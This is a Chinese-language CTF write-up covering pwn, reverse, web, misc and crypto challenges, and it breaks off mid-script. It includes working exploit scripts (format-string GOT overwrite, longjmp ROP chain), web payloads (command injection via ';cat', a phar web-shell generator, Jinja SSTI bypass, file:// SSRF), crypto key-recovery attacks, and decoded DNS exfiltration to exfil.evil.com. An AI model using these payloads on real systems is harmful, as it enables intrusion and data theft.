PWN

fnnt

先看看main函数

image-20260613143137715

这个思路很简单,我们只要更改puts函数的got表地址把他改为system即可

image-20260613143118587

里面也有符号信息,直接能拿到相关的地址,这个题之前已经遇到过不少次,所以写的还是比较顺

初始 payload 前 8 字节地址会被 printf 当普通字符输出,所以当前计数是 8

先写高位:

1
0x0804 - 8 = 2044

所以:

1
%2044c%4$hn

此时写入 0x0804puts@got + 2

再写低位:

1
0x8460 - 0x0804 = 31836

所以:

1
%31836c%5$hn

最终 puts@got 被改成:

1
0x08048460

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.update(arch='i386', os='linux')

io = remote('1.95.7.68', 2137)

puts_got = 0x0804a01c
system_plt = 0x08048460

payload = p32(puts_got + 2)
payload += p32(puts_got)
payload += b'%2044c%4$hn'
payload += b'%31836c%5$hn'
payload += b'\x00'

io.recvuntil(b'ID:\n')
io.send(payload)

io.sendline(b'cat flag')
io.interactive()

jmp_stack

checksec检查后发现基本上能开的都开了

程序还安装了 seccomp,只允许常见的 open/read/write/exit 一类调用,所以最终利用目标是 ORW 读 flag

主逻辑里在栈上放了一个大缓冲区,并在 buf + 0xe0 处调用 _setjmp

1
2
3
4
memset(buf, 0, 0x1a8);
_setjmp(buf + 0xe0);
read(0, buf, 0x120);
longjmp(buf + 0xe0, 1);

readbuf 开始写 0x120 字节,能够覆盖到 jmp_buf 的前 0x40 字节。glibc x86_64 的 jmp_buf 中,保存的 rsprip 分别在偏移 0x300x38

1
2
jmp_buf + 0x30 -> mangled rsp
jmp_buf + 0x38 -> mangled rip

因此可以伪造 longjmp 恢复出的栈指针和指令指针。

glibc 保存 rsp/rip 时会做 pointer mangling:

1
2
mangled = rol64(ptr ^ pointer_guard, 17)
ptr = ror64(mangled, 17) ^ pointer_guard

题目泄露了:

1
2
3
4
5
stack
rsp
libc_read
jmp_rsp
jmp_rip

其中 rsp 是真实保存值,jmp_rsp 是 mangled 后的值,所以可以恢复 guard:

1
2
3
guard = ror(jmp_rsp, 17) ^ rsp
saved_rip = ror(jmp_rip, 17) ^ guard
pie = saved_rip - 0x18b2

saved_rip 对应 _setjmp 返回后的地址,由它计算 PIE base。libc_read 可用于计算 libc base,不过本题 ORW 主要使用二进制自带 PLT 和 gadget。

二进制里直接给了常用 gadget:

1
2
3
4
0x17f7: pop rdi; ret
0x17fc: pop rsi; ret
0x1801: pop rdx; ret
0x1816: mov rdi, rax; ret

ROP 链放在 stack 泄露地址指向的输入缓冲区开头,然后伪造 jmp_buf

1
2
fake_rsp = stack
fake_rip = ret

longjmp 后先跳到一个 ret,再从 fake_rsp 开始执行 ROP:

1
2
3
open("/home/ctf/flag", 0)
read(fd, bss + 0x800, 0x80)
write(1, bss + 0x800, 0x80)

open 的返回值在 rax,用 mov rdi, rax; ret 转给后续 read 的第一个参数。

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python3
from pwn import *
import re

context.binary = elf = ELF("./jmp_stack", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.log_level = "info"


def rol(x, n):
x &= (1 << 64) - 1
return ((x << n) | (x >> (64 - n))) & ((1 << 64) - 1)


def ror(x, n):
x &= (1 << 64) - 1
return ((x >> n) | (x << (64 - n))) & ((1 << 64) - 1)


def ptr_mangle(ptr, guard):
return rol(ptr ^ guard, 17)


def ptr_demangle(val, guard):
return ror(val, 17) ^ guard


def get_leak(leaks, name):
m = re.search(rb"%s=(0x[0-9a-fA-F]+)" % name.encode(), leaks)
if not m:
raise ValueError(f"missing leak: {name}")
return int(m.group(1), 16)


def start():
if args.REMOTE:
return remote(args.HOST or "127.0.0.1", int(args.PORT or 9999))
return process("./jmp_stack")


io = start()

leaks = io.recvuntil(b"payload> ")
stack = get_leak(leaks, "stack")
saved_rsp = get_leak(leaks, "rsp")
libc_read = get_leak(leaks, "libc_read")
jmp_rsp = get_leak(leaks, "jmp_rsp")
jmp_rip = get_leak(leaks, "jmp_rip")

guard = ror(jmp_rsp, 17) ^ saved_rsp
saved_rip = ptr_demangle(jmp_rip, guard)
pie = saved_rip - 0x18b2
libc.address = libc_read - libc.sym["read"]

log.info(f"stack = {stack:#x}")
log.info(f"saved_rsp = {saved_rsp:#x}")
log.info(f"saved_rip = {saved_rip:#x}")
log.info(f"pie = {pie:#x}")
log.info(f"libc = {libc.address:#x}")
log.info(f"guard = {guard:#x}")

ret = pie + 0x101a
pop_rdi = pie + 0x17f7
pop_rsi = pie + 0x17fc
pop_rdx = pie + 0x1801
mov_rdi_rax = pie + 0x1816

open_plt = pie + elf.plt["open"]
read_plt = pie + elf.plt["read"]
write_plt = pie + elf.plt["write"]
flag_name = (args.FLAG or "/home/ctf/flag").encode() + b"\x00"
flag_path = stack + 0xc0
buf = pie + elf.bss() + 0x800

rop = flat(
ret,
pop_rdi, flag_path,
pop_rsi, 0,
open_plt,
mov_rdi_rax,
pop_rsi, buf,
pop_rdx, 0x80,
read_plt,
pop_rdi, 1,
pop_rsi, buf,
pop_rdx, 0x80,
write_plt,
)

payload = rop.ljust(0xc0, b"\x00") + flag_name
payload = payload.ljust(0xe0, b"\x00")
payload += b"A" * 0x30
payload += p64(ptr_mangle(stack, guard))
payload += p64(ptr_mangle(ret, guard))

io.send(payload)
if args.INTERACTIVE:
io.interactive()
else:
data = io.recvall(timeout=3)
if data:
print(data.rstrip(b"\x00").decode(errors="replace"))

逆向

开学美梦

看到java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.ctf.welcomeback;

import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;

/* JADX INFO: loaded from: classes.dex */
public class MainActivity extends AppCompatActivity {

/* JADX INFO: renamed from: a */
private EditText f102a;

/* JADX INFO: Access modifiers changed from: private */
/* JADX INFO: renamed from: a */
public native boolean m57a(Object obj, String str);

static {
System.loadLibrary("welcomeback");
}

@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(C0541R.layout.activity_main);
this.f102a = (EditText) findViewById(C0541R.id.input_box);
findViewById(C0541R.id.btn_check).setOnClickListener(new View.OnClickListener() { // from class: com.ctf.welcomeback.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
String string = MainActivity.this.f102a.getText().toString();
MainActivity mainActivity = MainActivity.this;
if (mainActivity.m57a(mainActivity, string)) {
Toast.makeText(MainActivity.this, "✅ 验证通过!恭喜获取报到资格!", 1).show();
} else {
Toast.makeText(MainActivity.this, "❌ 密钥错误!你的异常行为已被记录!", 0).show();
}
}
});
}
}

说明检验函数就在lib层

定位到检验逻辑:

image-20260613154445795

native_check 的逻辑:
取 Java 传进来的字符串
检查前缀是不是 flag{
检查最后一位是不是 }
取出中间的 core
检查 core 长度必须为 26
把 core 传给 execute_vm
execute_vm 是个很小的自定义 VM。反汇编后能看出只支持 3 个指令:
1:从输入里取一个字符压栈
2 imm:栈顶和立即数异或
3 imm:栈顶必须等于立即数,否则失败

能看到opcode:
image-20260613154518894

由此写出解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
bytecode = [
1,2,19,3,88, 1,2,55,3,86, 1,2,90,3,51,
1,2,19,3,75, 1,2,55,3,66, 1,2,90,3,63,
1,2,19,3,88, 1,2,55,3,66, 1,2,90,3,59,
1,2,19,3,122,1,2,55,3,123,1,2,90,3,63,
1,2,19,3,76, 1,2,55,3,127,1,2,90,3,59,
1,2,19,3,124,1,2,55,3,127,1,2,90,3,59,
1,2,19,3,124,1,2,55,3,100,1,2,90,3,50,
1,2,19,3,114,1,2,55,3,89, 1,2,90,3,61,
1,2,19,3,88, 1,2,55,3,82, 255
]

core = []
i = 0
while bytecode[i] != 255:
assert bytecode[i] == 1
assert bytecode[i + 1] == 2
x = bytecode[i + 2]
assert bytecode[i + 3] == 3
y = bytecode[i + 4]
core.append(chr(x ^ y))
i += 5

core = ''.join(core)
print(core)
print(f"flag{{{core}}}")

找寻真我

看到真实的校验逻辑:
image-20260613135743257

逻辑是先把字母 ASCII +8,再做 Vigenere 加密。把它逆回来求出flag{to_find_me}

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
s = "wbib{|e_awet_hs}"
key = "jiang"

ans = ""
for i, c in enumerate(s):
o = ord(c)
if "a" <= c <= "z":
o = (o - ord("a") - (ord(key[i % len(key)]) - ord("a"))) % 26 + ord("a")
elif "A" <= c <= "Z":
o = (o - ord("A") - (ord(key[i % len(key)]) - ord("a"))) % 26 + ord("A")

if chr(o).isalpha():
o -= 8
ans += chr(o)

print(ans)

练习5

附件给了1和exe

image-20260613134636802

这里需要解出来4个number

读入 4 个整数后,分两组做同余变换并异或 0x1F,目标常量是 [24, 24, 50, 65]。反推得到两组约束解:

1
2
a b = 12 34
c d = 38 14

这个其实是容器密码,可以解开1

解出来一个py打包的exe,python解包后找到一张图片:

image-20260613134943379

这就是flag

指令整容计划

通过main函数定位到关键地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
void __fastcall sub_140016700(__int64 a1)
{
char v1; // [rsp+24h] [rbp+4h]
unsigned __int8 v2; // [rsp+44h] [rbp+24h]
int v3; // [rsp+64h] [rbp+44h]
unsigned __int8 v4; // [rsp+84h] [rbp+64h]
unsigned __int8 v5; // [rsp+A4h] [rbp+84h]
int v6; // [rsp+C4h] [rbp+A4h]
unsigned __int8 v7; // [rsp+E4h] [rbp+C4h]
unsigned __int8 v8; // [rsp+104h] [rbp+E4h]
unsigned int v9; // [rsp+124h] [rbp+104h]
int Character; // [rsp+144h] [rbp+124h]

sub_140011393(&unk_140022018);
sub_1400112A8(a1);
while ( 2 )
{
v1 = *(_BYTE *)(*(_QWORD *)(a1 + 40) + (unsigned int)(*(_DWORD *)(a1 + 32))++);
switch ( v1 )
{
case 1:
v2 = *(_BYTE *)(*(_QWORD *)(a1 + 40) + (unsigned int)(*(_DWORD *)(a1 + 32))++);
v3 = *(_DWORD *)(*(unsigned int *)(a1 + 32) + *(_QWORD *)(a1 + 40));
*(_DWORD *)(a1 + 32) += 4;
*(_DWORD *)(a1 + 4LL * v2) = v3;
continue;
case 32:
v4 = *(_BYTE *)(*(_QWORD *)(a1 + 40) + (unsigned int)(*(_DWORD *)(a1 + 32))++);
v5 = *(_BYTE *)(*(_QWORD *)(a1 + 40) + (unsigned int)(*(_DWORD *)(a1 + 32))++);
*(_DWORD *)(a1 + 28) = *(_DWORD *)(a1 + 4LL * v4) == *(_DWORD *)(a1 + 4LL * v5);
continue;
case 50:
v6 = *(_DWORD *)(*(unsigned int *)(a1 + 32) + *(_QWORD *)(a1 + 40));
*(_DWORD *)(a1 + 32) += 4;
if ( !*(_DWORD *)(a1 + 28) )
*(_DWORD *)(a1 + 32) += v6;
continue;
case 64:
v7 = *(_BYTE *)(*(_QWORD *)(a1 + 40) + (unsigned int)(*(_DWORD *)(a1 + 32))++);
*(_DWORD *)(a1 + 4LL * v7) = *(_DWORD *)(a1 + 56);
continue;
case 65:
v8 = *(_BYTE *)(*(_QWORD *)(a1 + 40) + (unsigned int)(*(_DWORD *)(a1 + 32))++);
v9 = *(_DWORD *)(*(unsigned int *)(a1 + 32) + *(_QWORD *)(a1 + 40));
*(_DWORD *)(a1 + 32) += 4;
*(_DWORD *)(a1 + 4LL * v8) = sub_140011235(a1, v9);
continue;
case 96:
Character = *(unsigned __int8 *)(*(_QWORD *)(a1 + 40) + (unsigned int)(*(_DWORD *)(a1 + 32))++);
putchar(Character);
continue;
case -1:
free(*(void **)(a1 + 40));
break;
default:
sub_1400111A4("Wrong!\n");
free(*(void **)(a1 + 40));
break;
}
break;
}
}

这是一个虚拟机的实现

经过简单分析,指令含义如下:

opcode 作用
0x40 reg 取输入长度到寄存器
0x41 reg idx 取输入第 idx 个字符到寄存器
0x01 reg imm32 给寄存器赋立即数
0x20 a b 比较两个寄存器,相等则标志位为 1
0x32 off32 若比较失败则跳转
0x60 ch 输出一个字符
0xff 结束 VM

这里初始化了虚拟机的指令集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall sub_140011800(__int64 a1)
{
unsigned __int64 result; // rax
int i; // [rsp+24h] [rbp+4h]

sub_140011393(&unk_140022018);
result = (unsigned __int64)malloc(0x184u);
*(_QWORD *)(a1 + 40) = result;
for ( i = 0; i < 388; ++i )
{
*(_BYTE *)(*(_QWORD *)(a1 + 40) + i) = byte_14001D000[i] ^ 0x55;
result = (unsigned int)(i + 1);
}
return result;
}

动调就可以拿到数据了:
image-20260613112223655

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import struct

CODE = bytes([
0x40, 0x0, 0x1, 0x1, 0x11, 0x0, 0x0, 0x0, 0x20, 0x0, 0x1, 0x32, 0x65, 0x1, 0x0, 0x0,
0x41, 0x2, 0x0, 0x0, 0x0, 0x0, 0x1, 0x3, 0x66, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32,
0x51, 0x1, 0x0, 0x0, 0x41, 0x2, 0x1, 0x0, 0x0, 0x0, 0x1, 0x3, 0x6c, 0x0, 0x0, 0x0,
0x20, 0x2, 0x3, 0x32, 0x3d, 0x1, 0x0, 0x0, 0x41, 0x2, 0x2, 0x0, 0x0, 0x0, 0x1, 0x3,
0x61, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32, 0x29, 0x1, 0x0, 0x0, 0x41, 0x2, 0x3, 0x0,
0x0, 0x0, 0x1, 0x3, 0x67, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32, 0x15, 0x1, 0x0, 0x0,
0x41, 0x2, 0x4, 0x0, 0x0, 0x0, 0x1, 0x3, 0x7b, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32,
0x1, 0x1, 0x0, 0x0, 0x41, 0x2, 0x5, 0x0, 0x0, 0x0, 0x1, 0x3, 0x76, 0x0, 0x0, 0x0,
0x20, 0x2, 0x3, 0x32, 0xed, 0x0, 0x0, 0x0, 0x41, 0x2, 0x6, 0x0, 0x0, 0x0, 0x1, 0x3,
0x6d, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32, 0xd9, 0x0, 0x0, 0x0, 0x41, 0x2, 0x7, 0x0,
0x0, 0x0, 0x1, 0x3, 0x5f, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32, 0xc5, 0x0, 0x0, 0x0,
0x41, 0x2, 0x8, 0x0, 0x0, 0x0, 0x1, 0x3, 0x69, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32,
0xb1, 0x0, 0x0, 0x0, 0x41, 0x2, 0x9, 0x0, 0x0, 0x0, 0x1, 0x3, 0x73, 0x0, 0x0, 0x0,
0x20, 0x2, 0x3, 0x32, 0x9d, 0x0, 0x0, 0x0, 0x41, 0x2, 0xa, 0x0, 0x0, 0x0, 0x1, 0x3,
0x5f, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32, 0x89, 0x0, 0x0, 0x0, 0x41, 0x2, 0xb, 0x0,
0x0, 0x0, 0x1, 0x3, 0x66, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32, 0x75, 0x0, 0x0, 0x0,
0x41, 0x2, 0xc, 0x0, 0x0, 0x0, 0x1, 0x3, 0x6c, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32,
0x61, 0x0, 0x0, 0x0, 0x41, 0x2, 0xd, 0x0, 0x0, 0x0, 0x1, 0x3, 0x61, 0x0, 0x0, 0x0,
0x20, 0x2, 0x3, 0x32, 0x4d, 0x0, 0x0, 0x0, 0x41, 0x2, 0xe, 0x0, 0x0, 0x0, 0x1, 0x3,
0x67, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32, 0x39, 0x0, 0x0, 0x0, 0x41, 0x2, 0xf, 0x0,
0x0, 0x0, 0x1, 0x3, 0x21, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32, 0x25, 0x0, 0x0, 0x0,
0x41, 0x2, 0x10, 0x0, 0x0, 0x0, 0x1, 0x3, 0x7d, 0x0, 0x0, 0x0, 0x20, 0x2, 0x3, 0x32,
0x11, 0x0, 0x0, 0x0, 0x60, 0x63, 0x60, 0x6f, 0x60, 0x72, 0x60, 0x72, 0x60, 0x65, 0x60,
0x63, 0x60, 0x74, 0x60, 0xa, 0xff, 0x60, 0x57, 0x60, 0x72, 0x60, 0x6f, 0x60, 0x6e, 0x60,
0x67, 0x60, 0x21, 0x60, 0xa, 0xff, 0xfd
])


def main():
pc = 0
flag_chars = []
expected_len = None

while pc < len(CODE):
op = CODE[pc]
pc += 1

if op == 0x40: # GET_LEN rX
pc += 1
elif op == 0x41: # GET_CHAR rX, idx
pc += 5
elif op == 0x01: # LOAD_IMM rX, imm32
reg = CODE[pc]
value = struct.unpack_from("<I", CODE, pc + 1)[0]
pc += 5
if reg == 1:
expected_len = value
elif reg == 3:
flag_chars.append(value)
elif op == 0x20: # CMP_EQ
pc += 2
elif op == 0x32: # JNE offset
pc += 4
elif op == 0x60: # PUTCHAR
pc += 1
elif op == 0xFF: # HALT
break
else:
break

flag = "".join(chr(c) for c in flag_chars)
print(flag)


if __name__ == "__main__":
main()

入口在哪

看Start函数,怀疑此程序只是一个加载器,内部藏有payload

image-20260613104056304

这部分代码其实是writeFile:

1
2
3
4
else if ( n1953067607 == 1953067607 && *(_DWORD *)(v11 + 4) == 1818838629 && *(_WORD *)(v11 + 8) == 101 )
{
v31 = (void (__stdcall *)(int, _DWORD *, int, _BYTE *, _DWORD))v13;
}

因此写ida python提取exe:

1
2
3
4
5
6
7
8
9
10
11
import ida_bytes

start = 0x41E271
size = 0x3E00
out = r"F:\Desktop\exe12\IoQaCF_extracted.exe"

data = ida_bytes.get_bytes(start, size)
with open(out, "wb") as f:
f.write(data)

print("done", out, len(data))

求出的exe先进行Aspack脱壳

然后分析估计是一个木马样本二改的

WEB

BH

查看源码,直接分号分隔RCE即可

1
2
3
$input = $_GET['cmd'];
$command = "ping -c 2 127.0.0.1" . $input;
passthru($command);

payload:?cmd=;cat /var/www/html/flag.php

image-20260613163631728

身份权限校验系统

直接get传参:is_admin=1即可

Polar_校园图库

题目给了源码

view.php存在include文件包含

image-20260613152307755

class.php给了一个反序列化利用类:
image-20260613152336759

想到了phar序列化,会解析 phar 元数据,触发 Helper::__destruct(),从而执行 eval($cmd)

生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Helper {
public $type = 'eval';
public $cmd;
}

@unlink('payload.phar');
@unlink('payload.gif');

$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('x.php', '<?php echo "included\n";');

$obj = new Helper();
$obj->cmd = "system(\$_GET['cmd'] ?? 'id');";

$phar->setMetadata($obj);
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();

rename('payload.phar', 'payload.gif');
?>

然后输入cmd执行命令

payload:view.php?file=phar://uploads/d0b85eb56725c7cf720d852add94589d.gif/x.php&cmd=cat /flag
image-20260613152854568

dariy

传参49发现存在模板注入:
image-20260613150659826

发现url_for可直接利用

直接输入url_for.__globals__['__builtins__']['open']('/flag').read()不太行

我们可以用dict函数绕过配合进行模板注入实现

1
{{(url_for|attr((dict(__=x)|list|first)~(dict(globals=x)|list|first)~(dict(__=x)|list|first)))[(dict(__=x)|list|first)~(dict(builtins=x)|list|first)~(dict(__=x)|list|first)][dict(open=x)|list|first]('/flag')|attr(dict(read=x)|list|first)()}}

路飞的HTTP协议冒险

第一关直接重发包即可:
image-20260613145823702

第二关根据提示传入get参数:power=rubber

第三关根据提示POST传参:
image-20260613150030006

接下来根据提示需要改请求头中的X-Luffy-Gear3:
image-20260613150137294

第四关需要cookie修改

image-20260613150326121

最后一关需要利用DELETE协议

image-20260613150502482

然后即可拿到flag

image-20260613150516108

狗黑子的股市之路

目录扫描发现flag.php

这里看源码发现value值为no,改成yes试试:
image-20260613141455687

即可验证成功:
image-20260613141527287

你会渗透吗

看源码发现关键URL:
image-20260613113643806

猜测这存在任意文件下载,file填写admin.php之后下载成功

payload:api.php?action=download&file=admin.php

flag就在php里面

image-20260613113840165

偷吃蟠桃

经过代码审计,发现是前端js游戏

看到请求flag的URL,直接控制台输入即可:submitResult(1000000, 2, 1);

最终能拿到flag

image-20260613103848078

Top10大考察

登陆进去之后题目允许我们上传.url文件

因此可以考虑SSRF

内容填写:

1
2
[InternetShortcut]
URL=file:///flag

上传即可

image-20260613113143651

在文件分享处查看即可

image-20260613113221367

MISC

静默追踪

首先分析音频,打开发现是摩斯密码

img

..-. .. -. .- .-.. — .-. -.. . .-. .-. . …- . .-. … . -… .- … . -…. ….- .-. — - .—- …–

摩斯密码解密

img

指令顺序:reverse->base64->rot13

随波逐流分析图片

LSB隐写

base64解码

img

这里给出了这个排序,附件给了5个bin文件,第三个正好是zip文件头,推测这5个文件能拼成一个zip。exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
files = [
"frame_03.bin",
"frame_01.bin",
"frame_05.bin",
"frame_02.bin",
"frame_04.bin"
]

full_data = b""
for fname in files:
with open(fname, "rb") as f:
full_data += f.read()

with open("merged.bin", "wb") as out:
out.write(full_data)
print("合并完成,输出 merged.bin")

拼接后就是一个zip,文件内容

==QfmJneuV2cfNHMfFmY2dmb5JXZfdWYylndmtHdul3c

按照上述顺序编码

img

Phantom Trace 1

题目说明报告作者在“报告编号”字段里隐藏了一条秘密消息,并要求提取后按全大写提交。

查看报告编号所在行,可以发现 TI-2024-0612- 后面并不是普通空白,而是一串零宽字符。

将其视作二进制编码:

  • U+200B = 0
  • U+200C = 1

然后每 8 位转成一个 ASCII 字符,得到:

1
FALSEREPORT

因此答案为:

1
flag{FALSEREPORT}

Phantom Trace 2

题目提示第 5 节“分析师备注”共有 7 条备注,并要求观察每条备注的行尾。

检查第 5 节后可以发现,这 7 行每一行结尾都存在由空格和 Tab 组成的隐藏序列。可以将其按二进制处理:

  • 空格 = 0
  • Tab = 1

得到

1
INSIDER

因此答案为:

1
flag{INSIDER}

Phantom Trace 3

题目要求在 IOC 域名清单里找出使用同形异码字符的域名,并给出对应字符的 Unicode 码点。

观察以下两条域名:

1
2
update-cdn.microsoft-verify.com
update-cdn.microsoft-vеrify.com

第二条表面上看与第一条完全一致,但其中 vеrify 里的 е 并不是拉丁字母 e,因此就是这一条

1
U+0435 CYRILLIC SMALL LETTER IE

因此答案为:

1
flag{U+0435}

Phantom Trace 4

题目说明第 2 节的 MITRE ATT&CK 技术映射表中,有一个技术 ID 与对应描述不匹配。

表中第一条写的是:

  • 战术:初始访问
  • 技术 ID:T1566.002
  • 描述:鱼叉邮件附件

这里的描述“鱼叉邮件附件”对应的正确技术应为:

1
T1566.001 - Spearphishing Attachment

T1566.002 对应的是:

1
Spearphishing Link

因此该题正确答案为:

1
flag{T1566.001}

miscwei

初始清单给了很多文件:
image-20260613155720719

威胁情报还给了一些API接口:
image-20260613155750689

查IOC:

http://111.229.26.3:51982/api/query/51982

image-20260613155831296

以此类推:
查哈希:http://111.229.26.3:51982/api/query/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

查恶意组织名字:http://111.229.26.3:51982/api/query/DarkLynx

最终flag:flag{DarkLynx_CobaltStrike_CVE-2024-0610}

DNS 隐信道

image-20260613135227611

发现以下可疑查询:

1
2
3
4
MZWGCZ33MRXHGX3FPB.exfil.evil.com
TDC3C7ORZDIZTGGFRV.exfil.evil.com
6NDOGRWHS4ZRON6Q==.exfil.evil.com
==.exfil.evil.com

将这些子域名前缀按顺序拼接:得到:

1
MZWGCZ33MRXHGX3FPBTDC3C7ORZDIZTGGFRV6NDOGRWHS4ZRON6Q====

进行 Base32 解码后得到:

1
flag{dns_exf1l_tr4ff1c_4n4lys1s}

CRYPTO

签到

给了密文:102 108 97 103 123 112 111 108 97 114 99 116 102 125

按照ascii转换即可

image-20260613140742691

一封情书

看到两次签名使用了相同的随机数 k。

可利用 ECDSA Nonce Reuse 漏洞

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from hashlib import sha256

# secp256k1
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

msg1 = b"I love you, Li!"
msg2 = b"Will you be my girlfriend?"

r = 0x2a4c6e8f0a2b4c6d8e0f2a4c6e8f0a2b4c6d8e0f2a4c6e8f0a2b4c6d8e0f2a4c

s1 = 0x4c2e1a3b5d7f9e8c6a4b2d1e3f5a7c9b8e6d4f2a1c3e5b7d9f0a2c4e6f8a0b2c

s2 = 0x9a8c6e4d2b0f1e3c5a7b9d8e6f4a2c0d1e3f5a7b9c8d6e4f2a0b1c3d5e7f9a8b

# SHA256
z1 = int.from_bytes(sha256(msg1).digest(), "big")
z2 = int.from_bytes(sha256(msg2).digest(), "big")

# 求 k
k = ((z1 - z2) * pow(s1 - s2, -1, n)) % n

# 求 d
d = ((s1 * k - z1) * pow(r, -1, n)) % n

print(hex(d))
print(f"flag{{{hex(d)[2:]}}}")

RC4

猜测是两次一密攻击思路

两条直接异或最后出现:s0_h4rd}

假设第一条明文开头为:

1
flag{

则:

1
p2 = (c1 ^ c2) ^ b"flag{"

得到:

1
this_

继续推测第二条明文:

1
this_IS_the_key!

长度不足的部分补零:

1
p2 = b"this_IS_the_key!" + b"\x00"*9

再恢复第一条明文:

1
p1 = (c1 ^ c2) ^ p2

得到:

1
flag{rc4_1s_n0t_s0_h4rd}

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64

c1 = bytes.fromhex("63dc968e6fbd78425b1aa80deca5dddd5bc2773d4c11bf3a")
c2 = bytes.fromhex("71d89e9a4b8648297043be0de9f0d0a328f228557863db47")

# 利用两次一密
x = bytes(a ^ b for a, b in zip(c1, c2))

print("[*] c1 ^ c2 =", x)

# 已知第二条明文
p2 = b"this_IS_the_key!"

# 恢复第一条明文
p1 = bytes(a ^ b for a, b in zip(x, p2))

print("[*] plaintext1 =", p1.decode())
print("[*] flag =", p1.decode())

# 验证给出的 key
enc_key = "64327473646C3973646C393361326866626D686949513D3D"

# hex -> ascii
b64_str = bytes.fromhex(enc_key).decode()
print("[*] hex decode =", b64_str)

# base64 -> ascii
caesar = base64.b64decode(b64_str).decode()
print("[*] base64 decode =", caesar)

# Caesar -3
real = ""
for ch in caesar:
if 'a' <= ch <= 'z':
real += chr((ord(ch)-ord('a')-3)%26 + ord('a'))
elif 'A' <= ch <= 'Z':
real += chr((ord(ch)-ord('A')-3)%26 + ord('A'))
else:
real += ch

print("[*] real text =", real)

RSA攻击

因为题目提示:两份密文加密的是同一个明文
并且使用了相同的模数 n

因此这是一个RSA共模攻击,利用扩展欧几里得算法求解即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import long_to_bytes

n = ...
e1 = 65537
e2 = 17

c1 = ...
c2 = ...

def egcd(a,b):
if b == 0:
return a,1,0

g,x1,y1 = egcd(b,a%b)

return g,y1,x1-(a//b)*y1

g,a,b = egcd(e1,e2)

print("[+] a =",a)
print("[+] b =",b)

if a < 0:
c1 = pow(c1,-1,n)
a = -a

if b < 0:
c2 = pow(c2,-1,n)
b = -b

m = (pow(c1,a,n) * pow(c2,b,n)) % n

print(long_to_bytes(m))

Shamir

本题考查的是 Shamir Secret Sharing 中隐藏模数的攻击。

核心利用:

  1. 已知阈值 k=5k=5k=5
  2. 已知所有 (x,y)(x,y)(x,y)
  3. 利用整数域插值构造误差
  4. 误差均为 ppp 的倍数
  5. 通过 GCD 恢复模数 ppp
  6. 再进行标准拉格朗日插值求得

secret=f(0)secret=f(0)secret=f(0)

最终恢复出 flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from math import gcd
from functools import reduce
from fractions import Fraction
from Crypto.Util.number import long_to_bytes
from sympy import factorint, isprime

shares = [
(13825276559652663759456053593154923232020771238254924190105602129554442740903032538098062820337983638666056784818726026705226866679025611690838448584570200, 19012813120561778249910002377121545519300396863416796577430580565668955435109529853661026703963191587511794739652897381447200605465672082042748885989744402),
